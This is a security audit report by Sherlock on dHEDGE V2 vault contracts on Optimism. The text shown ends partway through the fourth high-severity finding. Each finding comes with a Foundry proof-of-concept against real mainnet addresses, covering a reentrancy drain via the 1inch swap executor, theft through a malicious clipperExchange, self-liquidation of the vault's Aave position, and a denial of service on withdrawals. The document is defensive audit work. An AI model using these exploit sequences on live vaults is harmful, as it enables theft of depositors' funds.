SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Private
Prepared for:	dHEDGE
Prepared by:	Sherlock
Lead Security Expert:	zzykxx
Dates Audited:	June 3 - June 22, 2024
Prepared on:	August 20, 2024

Introduction

dHEDGE repeated audit focused on core contracts + linked contracts responsible for integrations on Optimism chain.

Scope

Repository: dhedge/V2-Public

Branch: master

Commit: d3057bc60c259f3a9f43fdd5929ba4cd36c8ec7a

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
19	9

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

santipu_
zzykxx
bughuntoor
carrotsmuggler
ctf_sec
ether_sky
sakshamguruji
KupiaSec
aslanbek
ck
ali_shehab
ge6a

Issue H-1: Manager can drain a Vault through reentrancy calling `AggregationRouterV6::swap`

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/14

Found by

bughuntoor, santipu_

Summary

A manager can use the `swap` function allowed on `OneInchV6Guard` to drain any Vault by reentering the `PoolManagerLogic` contract in the middle of the swap and disabling the asset currently being swapped.

Vulnerability Detail

When a Vault wants to interact with the `1Inch` router to swap some tokens, there's a contract guard called `OneInchV6Guard` that ensures that the Vault only calls some allowed functions with the right parameters. This is done to avoid a manager doing malicious swaps and stealing the user's funds.

Within the allowed functions, there's one called `swap` that takes an argument called `executor`, which is the address that will be called by the 1Inch router to make the actual swap of tokens. However, if that argument passed is a malicious contract, it could reenter the Vault and disable the token being swapped at the moment, which will pass successfully because at that moment all tokens are in the router contract and none are in the actual Vault.

Let's imagine that a Vault is holding various tokens, and most of the value is in WETH, so the manager can steal all by executing the following sequence:

- The manager deploys a malicious contract, which will later be used to drain the Vault
- The manager makes that contract the trader of the Vault and triggers the attack.
  - The malicious contract first calls the function `execTransaction` on the Vault to approve all WETH to the 1Inch router.
  - The malicious contract calls again `execTransaction` to call the `swap` function on the 1Inch router, and passing the `executor` argument as the malicious contract itself.
  - The router transfers all WETH from the Vault to itself.

- The 1Inch router calls the malicious contract expecting to perform the swap, but it calls the `PoolManagerLogic` contract to remove the support for WETH token, which will execute because all WETH tokens are currently in the router.
- After that, the router returns the WETH to the Vault, but it won't be accounted for because the asset is no longer supported.

After the attack, the Vault will still hold all the WETH, but this won't account for the share value because the WETH token will no longer be supported in the Vault. This means that all the Vault's shares will become mostly worthless because most of the Vault's assets were in WETH, and now it's lost.

Finally, the manager can recover this WETH all for himself by executing a swap with almost 100% slippage, by self-sandwiching the transaction. Usually, if a manager wants the Vault to perform a swap, some checks ensure that the slippage cannot be high to protect the user's funds. This is checked at `SlippageAccumulator::updateSlippageImpact`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/utils/SlippageAccumulator.sol#L89

```
function updateSlippageImpact(SwapData calldata swapData) external
↪  onlyContractGuard(swapData.to) {
  if (IHasSupportedAsset(swapData.poolManagerLogic).isSupportedAsset(swapData.sr
↪  cAsset)) {
    // ...
  }
}
```

However, as the code snippet is showing, the slippage of a swap won't be checked if the token being swapped is not supported by the Vault. Using this, a manager can trade all the unaccounted WETH allowing all the slippage, and can sandwich that transaction by extracting the maximum value from that swap.

Impact

Using the attack paths described above, a manager can completely drain a Vault in a single transaction.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_oneInch_PoC --evm-version cancun`.

Additionally, you must have the following lines in the `.env` file in order for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";

interface IAggregationRouterV6 {
    struct SwapDescription {
        address srcToken; // IERC20
        address dstToken; // IERC20
        address payable srcReceiver;
        address payable dstReceiver;
        uint256 amount;
        uint256 minReturnAmount;
        uint256 flags;
    }

    function swap(
        address sender,
        SwapDescription calldata desc,
        bytes calldata data
    ) external payable returns (uint256 returnAmount);
}

interface IPoolLogic {
    function execTransaction(address to, bytes calldata data) external returns
↪   (bool success);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns
↪   (uint256);
}

interface IPoolManagerLogic {
    struct Asset {
        address asset;
        bool isDeposit;
    }
    function totalFundValue() external view returns (uint256);
```

```
    function changeManager(address newManager, string memory newManagerName)
↪   external;
    function manager() external view returns (address);
    function changeAssets(Asset[] calldata _addAssets, address[] calldata
↪   _removeAssets) external;
    function setTrader(address _trader) external;
}

contract OneInchTest is Test {

    IAggregationRouterV6 router =
↪   IAggregationRouterV6(0x111111125421cA6dc452d289314280a0f8842A65);
    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);

    IPoolLogic pool = IPoolLogic(0x749E1d46C83f09534253323A43541A9d2bBD03AF);
    IPoolManagerLogic manager =
↪   IPoolManagerLogic(0x950A19078d33f732d35d3630c817532308490cCD);
    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;

    uint256 opFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());
        vm.rollFork(121303383); // Jun-12-2024 03:19:03 PM +UTC
    }

    function test_oneInch_PoC() public {
        // First, simulate the pool getting 100 WETH
        deal(address(WETH), address(pool), 100e18);
        assertEq(WETH.balanceOf(address(pool)), 100e18);

        // The Vault is holding ~362,202 USD (mostly the 100 WETH)
        assertEq(manager.totalFundValue(), 362_202.734297348421959993e18);

        // Deploy the trick contract
        TrickContract trick = new TrickContract();

        // Make the trick contract the trader of the pool
        vm.prank(managerAddress);
        manager.setTrader(address(trick));

        // And trigger the attack
        trick.attack();
```


```
        // Finally, the Vault has lost the 100 WETH and is now holding ~43 USD
        assertEq(manager.totalFundValue(), 43.964297348421959993e18);

        // The 100 WETH are still in the Vault but are not accounted for
        assertEq(WETH.balanceOf(address(pool)), 100e18);
    }
}

contract TrickContract is Test {

    IPoolManagerLogic manager =
↪   IPoolManagerLogic(0x950A19078d33f732d35d3630c817532308490cCD);
    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;
    IPoolLogic pool = IPoolLogic(0x749E1d46C83f09534253323A43541A9d2bBD03AF);
    IAggregationRouterV6 router =
↪   IAggregationRouterV6(0x111111125421cA6dc452d289314280a0f8842A65);
    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);

    function attack() public {
        // First, craft the transaction to approve 100 weth to 1Inch Aggregator
        bytes memory data = abi.encodeWithSelector(WETH.approve.selector,
↪   address(router), 100e18);
        // Execute the transaction
        pool.execTransaction(address(WETH), data);
        assertEq(WETH.allowance(address(pool), address(router)), 100e18);

        // Now, craft the transaction to do the trick swap
        IAggregationRouterV6.SwapDescription memory desc =
↪   IAggregationRouterV6.SwapDescription({
            srcToken: address(WETH),
            dstToken: address(WETH),
            srcReceiver: payable(address(router)),
            dstReceiver: payable(address(pool)),
            amount: 100e18,
            minReturnAmount: 100e18,
            flags: 0
        });
        data = abi.encodeWithSelector(router.swap.selector, address(this), desc,
↪   "0x0");
        // Execute the transaction
        pool.execTransaction(address(router), data);
    }

    function execute(address) public returns (uint256) {
        // Make sure the pool has no WETH
        assertEq(WETH.balanceOf(address(pool)), 0);
```

```
        address[] memory addrs = new address[](1);
        addrs[0] = address(WETH);

        // Remove the WETH from the pool as supported asset
        manager.changeAssets(
            new IPoolManagerLogic.Asset[](0),
            addrs
        );

        return 100e18;
    }
}
```

As the test shows, after the attack the Vault still holds the 100 WETH but these tokens are not accounted for in the total value. This means that the Vault shares will become almost worthless because before they were valued at 362,000 USD and now at 43 USD.

Additionally, a manager could now execute a swap with 1Inch allowing the maximum slippage to sandwich that transaction and steal most of the WETH being swapped.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/OneInchV6Guard.sol#L54

Tool used

Manual Review

Recommendation

Honestly, I'm not an expert on 1Inch but the checks for the `swap` function should be improved in some way to avoid passing any address as the `executor`.

Moreover, it'd be nice to have some checks on the `changeAssets` function to avoid changing the supported assets in the middle of an external call.

Discussion

nevillehuang

I agree with @santipu03 analysis of the issues, but will leave open during escalation period for HOJ to consider duplication status, given I believe it also lines up with the root cause groupings described here

- Issue 28 root cause is that a manager is able to remove the AaveLendingPool asset from a Vault when there are still active loans. UNIQUE MEDIUM
- Issue 14 root cause is that a manager can provide a malicious executor on a swap to reenter the Vault and remove the destination token.
- Issue 82 root cause is that a manager can provide a custom token on a swap to reenter the Vault and remove the destination token.
- Issue 81 root cause is that a manager can provide a custom token on a swap to reenter the Vault and mint a ton of shares.
- Issue 107 root cause is that a manager can provide a custom token on a swap to reenter the Vault and mint a ton of shares.
- Issue 32 root cause is that a manager can provide a custom token on a swap to trick the Vault and not return the funds.

Issue 19 root cause is that a manager can provide a custom token on a swap to make a "spammy swap". IMO this issue doesn't fully explain how the manager can steal funds doing this so I believe it should be low.

Issues 14, 81, 82, 107 and 32 are really similar because they combine different vulnerabilities but I believe the root cause boils down to the following question: "What is the issue that allows the exploitation in the first place?"

I believe issue #19 only lacks details but the root cause of the issue is there, that is a custom token/pool can be used to drain funds

santipu03

Escalate

As I commented to the lead judge, the issues 14, 19, 32, 81, 82, and 107 look similar but some of them have a key difference that must be considered.

First, I'll repeat here the basic summary of each one of these issues:

- Issue 14 root cause is that a manager can provide a malicious executor on a swap to reenter the Vault and remove the destination token.
- Issue 19 root cause is that a manager can provide a custom token on a swap to make a "spammy swap".
- Issue 32 root cause is that a manager can provide a custom token on a swap to trick the Vault and not return the funds.
- Issue 81 root cause is that a manager can provide a custom token on a swap to reenter the Vault and mint many shares.

- Issue 82 root cause is that a manager can provide a custom token on a swap to reenter the Vault and remove the destination token.
- Issue 107 root cause is that a manager can provide a custom token on a swap to reenter the Vault and mint a ton of shares.

All these issues are similar because they combine more than one vulnerability in different ways but to analyze the root cause first, we're going to revisit its definition from the Sherlock docs:

> Root Cause: The primary factor or a fundamental reason that imposes an unwanted outcome

From what I see, the primary factor that allows each one of the issues is the ability to provide a malicious argument for a swap to cause an unwanted outcome.

Following this reasoning, issues 19, 32, 81, 82, and 107 are all based on providing a malicious token on a swap to steal funds. On the other hand, issue 14 is based on providing a malicious executor on a swap to steal funds.

By not allowing swaps with intermediary custom tokens, it would only fix issues 19, 32, 81, 82, and 107. On the other hand, by not allowing swaps with custom executors, it would only fix the issue 14.

Based on this reasoning and given that the root causes are different, I believe that issue 14 should be treated separately from issues 19, 32, 81, 82, and 107.

sherlock-admin3

> Escalate
>
> As I commented to the lead judge, the issues 14, 19, 32, 81, 82, and 107 look similar but some of them have a key difference that must be considered.
>
> First, I'll repeat here the basic summary of each one of these issues:
>
> - Issue 14 root cause is that a manager can provide a malicious executor on a swap to reenter the Vault and remove the destination token.
> - Issue 19 root cause is that a manager can provide a custom token on a swap to make a "spammy swap".
> - Issue 32 root cause is that a manager can provide a custom token on a swap to trick the Vault and not return the funds.
> - Issue 81 root cause is that a manager can provide a custom token on a swap to reenter the Vault and mint many shares.
> - Issue 82 root cause is that a manager can provide a custom token on a swap to reenter the Vault and remove the destination token.

- Issue 107 root cause is that a manager can provide a custom token on a swap to reenter the Vault and mint a ton of shares.

All these issues are similar because they combine more than one vulnerability in different ways but to analyze the root cause first, we're going to revisit its definition from the Sherlock docs:

> Root Cause: The primary factor or a fundamental reason that imposes an unwanted outcome

From what I see, the primary factor that allows each one of the issues is the ability to provide a malicious argument for a swap to cause an unwanted outcome.

Following this reasoning, issues 19, 32, 81, 82, and 107 are all based on providing a malicious token on a swap to steal funds. On the other hand, issue 14 is based on providing a malicious executor on a swap to steal funds.

By not allowing swaps with intermediary custom tokens, it would only fix issues 19, 32, 81, 82, and 107. On the other hand, by not allowing swaps with custom executors, it would only fix the issue 14.

Based on this reasoning and given that the root causes are different, I believe that issue 14 should be treated separately from issues 19, 32, 81, 82, and 107.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

So, here how I see the situation:

1. This report -- during the call to `execTransaction` in `PoolLogic` the manager reenters into `PoolManagerLogic` (later PML) and removes the destination token. This can also be done via a fake token, but banning custom tokens still allows for this attack via executor. Can be fixed by a `nonReentrant` modifier inside PML. It is a cross-contract reentrancy.
2. #82 -- the same as this, even though the scenario in the report is with the custom token, the same as above applies.
3. #32 -- using the custom token, the manager can fake the received amount and return some number, when the actual received value is 0. It's not a reentrancy. Can be fixed by banning custom tokens.

4. #19 -- basically the same as above, even though it's hard to understand the "spammy transaction".
5. #81 -- similar to this and #82, but the idea is reentering inside `PoolLogic` contract and minting cheap shares. Hence, it is a cross-function reentrancy.
6. #107 -- the same as #81.

So the families I propose are:

1. Fake tokens:
- #32 - best
- #19
2. Cross-function reentrancy:
- #81 - best
- #107
3. Cross-contract reentrancy:
- this - best
- #82

Tagging all the Watsons who submitted issues above and the Lead Judge to verify if any of my assumptions are wrong:

@santipu03 @spacegliderrrr @zzykxx @ctf-sec @carrotsmuggler2 @nevillehuang

WangSecurity

Planning to accept the escalation and apply the changes expressed above.

WangSecurity

Result: High Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- santipu03: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/948

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-2: Function `clipperSwap` allows managers to steal all funds

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/15

Found by

carrotsmuggler, santipu_

Summary

The function `clipperSwap` within the 1Inch router (`AggregationRouterV6`) allows the managers to steal all funds from the Vault by passing as an argument a malicious contract.

Vulnerability Detail

The 1Inch router has a function called `clipperSwap` that receives an argument called `clipperExchange`, which will be the exchange in charge of performing the actual swap. The router will only transfer the funds to swap from the Vault to the `clipperExchange` with the assumption that this one will swap the tokens and return the funds to the Vault.

However, a manager can pass a malicious contract as the `clipperExchange` that will keep all the funds to swap and won't return them. This way, a manager is able to steal all funds from a Vault. Here we can see that the `clipperExchange` is allowed to be called, without checking the first argument, which is the `clipperExchange`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/OneInchV6Guard.sol#L117-L129

```
} else if (method == IAggregationRouterV6.clipperSwap.selector) {
  (, uint256 srcToken, address dstToken, uint256 srcAmount, uint256 dstAmount) =
 ↪  abi.decode(
    params,
    (address, uint256, address, uint256, uint256)
  );

  swapData.srcAsset = srcToken.get();
  swapData.dstAsset = dstToken;
  swapData.srcAmount = srcAmount;
  swapData.dstAmount = dstAmount;

  txType = _verifySwap(swapData);
}
```

And in the actual `clipperSwap` function, we can see that the funds are transferred from the Vault to the `clipperExchange`, and the function `clipperExchange.swap` is called:

https://vscode.blockscan.com/optimism/0x111111125421ca6dc452d289314280a0f8842a65

```
function clipperSwapTo(
        IClipperExchange clipperExchange,
        address payable recipient,
        Address srcToken,
        IERC20 dstToken,
        uint256 inputAmount,
        uint256 outputAmount,
        uint256 goodUntil,
        bytes32 r,
        bytes32 vs
    ) public payable whenNotPaused() returns(uint256 returnAmount) {
        IERC20 srcToken_ = IERC20(srcToken.get());
        if (srcToken_ == _ETH) {
            if (msg.value != inputAmount) revert RouterErrors.InvalidMsgValue();
        } else {
            if (msg.value != 0) revert RouterErrors.InvalidMsgValue();
>>          srcToken_.safeTransferFromUniversal(msg.sender,
 ↪  address(clipperExchange), inputAmount, srcToken.getFlag(_PERMIT2_FLAG));
        }
        if (srcToken_ == _ETH) {
            // clipperExchange.sellEthForToken{value:
 ↪  inputAmount}(address(dstToken), inputAmount, outputAmount, goodUntil,
 ↪  recipient, signature, _INCH_TAG);
        } else if (dstToken == _ETH) {
            // clipperExchange.sellTokenForEth(address(srcToken_), inputAmount,
 ↪  outputAmount, goodUntil, recipient, signature, _INCH_TAG);
        } else {
>>          // clipperExchange.swap(address(srcToken_), address(dstToken),
 ↪  inputAmount, outputAmount, goodUntil, recipient, signature, _INCH_TAG);
            // ...
        }

        return outputAmount;
    }
```

To execute the attack, the manager only has to call `clipperSwap` passing a malicious contract as an argument for `clipperExchange`. By doing this, the manager is able to steal all funds from the Vault in a single block.

Impact

The manager can use the `clipperSwap` function to steal all funds from the Vault.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_oneInch_clipperSwap --evm-version cancun`.

Additionally, you must have the following lines in the `.env` file in order for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";

interface IClipperExchange {}

interface IAggregationRouterV6 {
    function clipperSwap(
        IClipperExchange clipperExchange,
        uint256 srcToken, // Address
        address dstToken, // IERC20
        uint256 inputAmount,
        uint256 outputAmount,
        uint256 goodUntil,
        bytes32 r,
        bytes32 vs
    ) external payable returns (uint256 returnAmount);
}

interface IPoolLogic {
    function execTransaction(address to, bytes calldata data) external returns
↪   (bool success);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns
↪   (uint256);
}
```

```
interface IPoolManagerLogic {
    function totalFundValue() external view returns (uint256);
}

contract OneInchClipperSwapTest is Test {

    IAggregationRouterV6 router =
↪   IAggregationRouterV6(0x111111125421cA6dc452d289314280a0f8842A65);
    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);

    IPoolLogic pool = IPoolLogic(0x749E1d46C83f095342533323A43541A9d2bBD03AF);
    IPoolManagerLogic manager =
↪   IPoolManagerLogic(0x950A19078d33f732d35d3630c817532308490cCD);
    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;

    uint256 opFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());
        vm.rollFork(121303383); // Jun-12-2024 03:19:03 PM +UTC
    }

    function test_oneInch_clipperSwap() public {
        // First, simulate the pool getting 100 WETH
        deal(address(WETH), address(pool), 100e18);
        assertEq(WETH.balanceOf(address(pool)), 100e18);

        // The Vault is holding ~362,202 USD (mostly the 100 WETH)
        assertEq(manager.totalFundValue(), 362_202.734297348421959993e18);

        // Deploy the malicious contract
        MaliciousContract malContract = new MaliciousContract();

        // First, craft the transaction to approve 100 weth to 1Inch Aggregator
        bytes memory data = abi.encodeWithSelector(WETH.approve.selector,
↪   address(router), 100e18);
        // Execute the transaction
        vm.prank(managerAddress);
        pool.execTransaction(address(WETH), data);
        assertEq(WETH.allowance(address(pool), address(router)), 100e18);

        // Now, craft the transaction to do the clipper swap
```


```
        data = abi.encodeWithSelector(router.clipperSwap.selector,
↪   address(malContract), address(WETH), address(WETH), 100e18, 100e18,
↪   block.timestamp, "0x0", "0x0");
        // Execute the transaction
        vm.prank(managerAddress);
        pool.execTransaction(address(router), data);

        // Finally, the Vault has lost the 100 WETH and is now holding ~43 USD
        assertEq(manager.totalFundValue(), 43.964297348421959993e18);

        // The 100 WETH are in the malicious contract controlled by the manager
        assertEq(WETH.balanceOf(address(malContract)), 100e18);
    }
}

contract MaliciousContract is Test {
    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);

    constructor() {
        assertEq(WETH.balanceOf(address(this)), 0);
    }

    fallback() external {
        assertEq(WETH.balanceOf(address(this)), 100e18);
    }
}
```

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/OneInchV6Guard.sol#L117-L129

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to check the address of the `clipperExchange` before executing the `clipperSwap` transaction. The protocol should make sure that the address is not malicious and that it only allows interaction with whitelisted exchanges, e.g. Uniswap v2 and v3.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/927

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-3: Manager can make the Vault's position in Aave liquidatable, stealing funds from users

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/23

Found by

ctf_sec, sakshamguruji, santipu_

Summary

The manager can use the Vault's funds to open a risky position in Aave and liquidate it in the next block, this allows the manager to directly steal the user's funds through liquidations.

Vulnerability Detail

A manager of a Vault can steal funds from the users in a short time by executing the following attack:

1. Swap all of the Vault's funds into one token and deposit it as collateral in Aave.
2. Make a borrow up to the limit.
3. Withdraw the maximum collateral possible until the health factor is very close to `1e18`.
4. Wait one block, which would be 2 seconds on Optimism.
5. Liquidate the Vault's position.

The manager can liquidate the loan after just one block because the health factor was at the limit (`1e18`) and the interest accrued in one block is enough to make that loan liquidatable. Also, the manager will know beforehand that the position will become liquidatable in the exact next block, which will give him the advantage to send the liquidation transaction before all bots do the same.

Aave allows the liquidation of a position up to 50%, and the liquidation penalty is usually 5% for most tokens. This means that if the Vault is holding 1M USD, the manager can steal up to 2.5% (5% of 50%) of the Vault's funds each 2 blocks. If we do the math, in 15 minutes the manager would have stolen up to 996,642.33 USD of the initial 1M USD.

Impact

The manager can steal most of the funds in a short amount of time by opening risky positions in Aave on behalf of the Vault and liquidating them.

This impact breaks a restriction imposed in the README:

> Manager or trader under any circumstances should not be able to take out depositors funds put in the vaults they manage.

Moreover, this attack doesn't need any conditions or external states, so I believe it warrants high severity.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_liquidation_aave --evm-version cancun`.

Additionally, you must have the following lines in the `.env` file in order for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";

interface IPoolLogic {
    function execTransaction(address to, bytes calldata data) external returns
↪   (bool success);
}

interface IAavePool {
    function deposit(address, uint256, address, uint16) external;
    function borrow(address, uint256, uint256, uint16, address) external;
    function withdraw(address, uint256, address) external;
    function getUserAccountData(address user) external view returns (uint256,
↪   uint256, uint256, uint256, uint256 healthFactor);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract PoolTest is Test {

    IPoolLogic pool = IPoolLogic(0x749E1d46C83f09534253323A43541A9d2bBD03AF);
    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;
```

```
    IAavePool aaveLendingPool =
↪   IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
    IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);

    uint256 opFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());
        vm.rollFork(121348913); // Jun-13-2024 04:36:43 PM +UTC
    }

    function test_liquidation_aave() public {
        // First, simulate the pool getting 100 WETH
        deal(address(WETH), address(pool), 100e18);
        assertEq(WETH.balanceOf(address(pool)), 100e18);

        // Approve 100 WETH to the Aave lending pool
        bytes memory data = abi.encodeWithSelector(WETH.approve.selector,
↪   address(aaveLendingPool), 100e18);
        vm.prank(managerAddress);
        pool.execTransaction(address(WETH), data);

        // Supply 100 WETH to the Aave lending pool
        data = abi.encodeWithSelector(aaveLendingPool.deposit.selector,
↪   address(WETH), 100e18, address(pool), 0);
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // Borrow the maximum USDC possible with the 100 WETH
        data = abi.encodeWithSelector(aaveLendingPool.borrow.selector,
↪   address(USDC), 275_000e6, 2, 0, address(pool));
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // Withdraw the maximum WETH possible
        data = abi.encodeWithSelector(aaveLendingPool.withdraw.selector,
↪   address(WETH), 3.5354266145e18, address(pool));
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // Fast forward 1 block (Optimism)
```


```
        vm.warp(block.timestamp + 2);

        // The position is now liquidatable
        (,,,,, uint256 healthFactor) =
↪   aaveLendingPool.getUserAccountData(address(pool));
        assertLt(healthFactor, 1e18);
    }
}
```

The above test shows how a manager can open a risky position in Aave on behalf of the Vault and make it liquidatable in the next Optimism block. After that, the manager only has to liquidate the Vault's position to get the profits. This sequence can be repeated every two blocks to steal almost all of the user's funds.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/AaveLendingPoolGuardV2.sol#L160

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to ensure that the health factor has some margin after the Vault has called Aave. For example, it'd be good to always check that the Vault's position has a health factor of at least 1.25 to make sure that the Vault's position is not overly risky.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/961

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-4: Integer underflow will cause a DoS on new deposits and withdrawals

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/24

Found by

KupiaSec, ali_shehab, ether_sky, santipu_

Summary

In some scenarios, an integer underflow on `AaveLendingPoolAssetGuard::getBalance` will cause a DoS on all new deposits and withdrawals. The manager can trigger this bug to prevent users from withdrawing funds from the Vault, which shouldn't be possible according to the README.

Vulnerability Detail

The contract `AaveLendingPoolAssetGuard` is the asset guard of the Aave Lending Pool contract, and is used to get the current balance on Aave and to process Aave withdrawals. The function that tracks the balance on Aave that the Vault currently has is called `getBalance`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/AaveLendingPoolAssetGuard.sol#L77-L107

```
      function getBalance(address pool, address) public view override returns
↪   (uint256 balance) {
        IHasSupportedAsset poolManagerLogicAssets =
↪   IHasSupportedAsset(IPoolLogic(pool).poolManagerLogic());
        IHasSupportedAsset.Asset[] memory supportedAssets =
↪   poolManagerLogicAssets.getSupportedAssets();

        // ...

        uint256 length = supportedAssets.length;
        for (uint256 i = 0; i < length; i++) {
>>        asset = supportedAssets[i].asset;

          // Lending/Borrowing enabled asset
          if (IHasAssetInfo(factory).getAssetType(asset) == 4 ||
↪   IHasAssetInfo(factory).getAssetType(asset) == 14) {
            (collateralBalance, debtBalance, decimals) =
↪   _calculateAaveBalance(pool, asset);
```

```
            if (collateralBalance != 0 || debtBalance != 0) {
              tokenPriceInUsd = IHasAssetInfo(factory).getAssetPrice(asset);
              totalCollateralInUsd =
↪   totalCollateralInUsd.add(tokenPriceInUsd.mul(collateralBalance).div(10 **
↪   decimals));
              totalDebtInUsd =
↪   totalDebtInUsd.add(tokenPriceInUsd.mul(debtBalance).div(10 ** decimals));
            }
          }
        }

>>      balance = totalCollateralInUsd.sub(totalDebtInUsd);
      }
```

In the last line of the function, the balance is calculated as the difference between the total collateral and the total debt, however, that exact line will cause an underflow in certain scenarios.

Take into account that the accounting of Aave balance is done by looping over the supported assets on the Vault. This means that the Vault may have other collateral tokens in Aave that are not accounted for in the function `getBalance`. For this reason, when anyone deposits collateral in Aave on behalf of the Vault with non-supported tokens, those tokens won't be accounted for in the Aave balance.

In those cases, the `getBalance` function will only account for the collateral on supported tokens, but it won't see any collateral with non-supported tokens. In that scenario, it's possible that `totalCollateralInUsd` is lower than `totalDebtInUsd`, thus causing the underflow.

Moreover, the manager can easily trigger this bug by executing the following attack sequence:

1. Deposit some of the Vault's tokens as collateral in Aave (e.g. 1 WETH)
2. Use some non-supported tokens to deposit as collateral in Aave on behalf of the Vault (e.g. 1 rETH)
3. Use the Vault to borrow a number of tokens higher in value than the first collateral deposited (e.g. 5,000 USDC)

After step 3, each time that any user wants to deposit or withdraw from the Vault, the function `_mintManagerFee` will be called, which will call `AaveLendingPoolAssetGuard::getBalance`, which will revert because the accounted debt (5,000 USDC) is higher than the accounted collateral (1 WETH).

Also, this bug could be accidentally caused by the external market conditions. Imagine that there's a flash crash and the Vault's position in Aave is liquidated, seizing all collateral but leaving some bad debt. In this scenario, the accounted

debt would also be higher than the accounted collateral so new deposits and withdrawals within the Vault would be DoSed.

Impact

The manager can cause a DoS on all deposits and withdrawals on the Vault. This bug directly breaks a restriction stated in the README:

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

Moreover, this bug can be triggered by the manager of a Vault without limitations or external conditions, and that's why I believe it warrants high severity.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_DoS_aave`.

Additionally, you must have the following lines in the `.env` file in order for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";

interface IPoolLogic {
    function execTransaction(address to, bytes calldata data) external returns
↪   (bool success);
    function mintManagerFee() external;
}

interface IAavePool {
    function deposit(address, uint256, address, uint16) external;
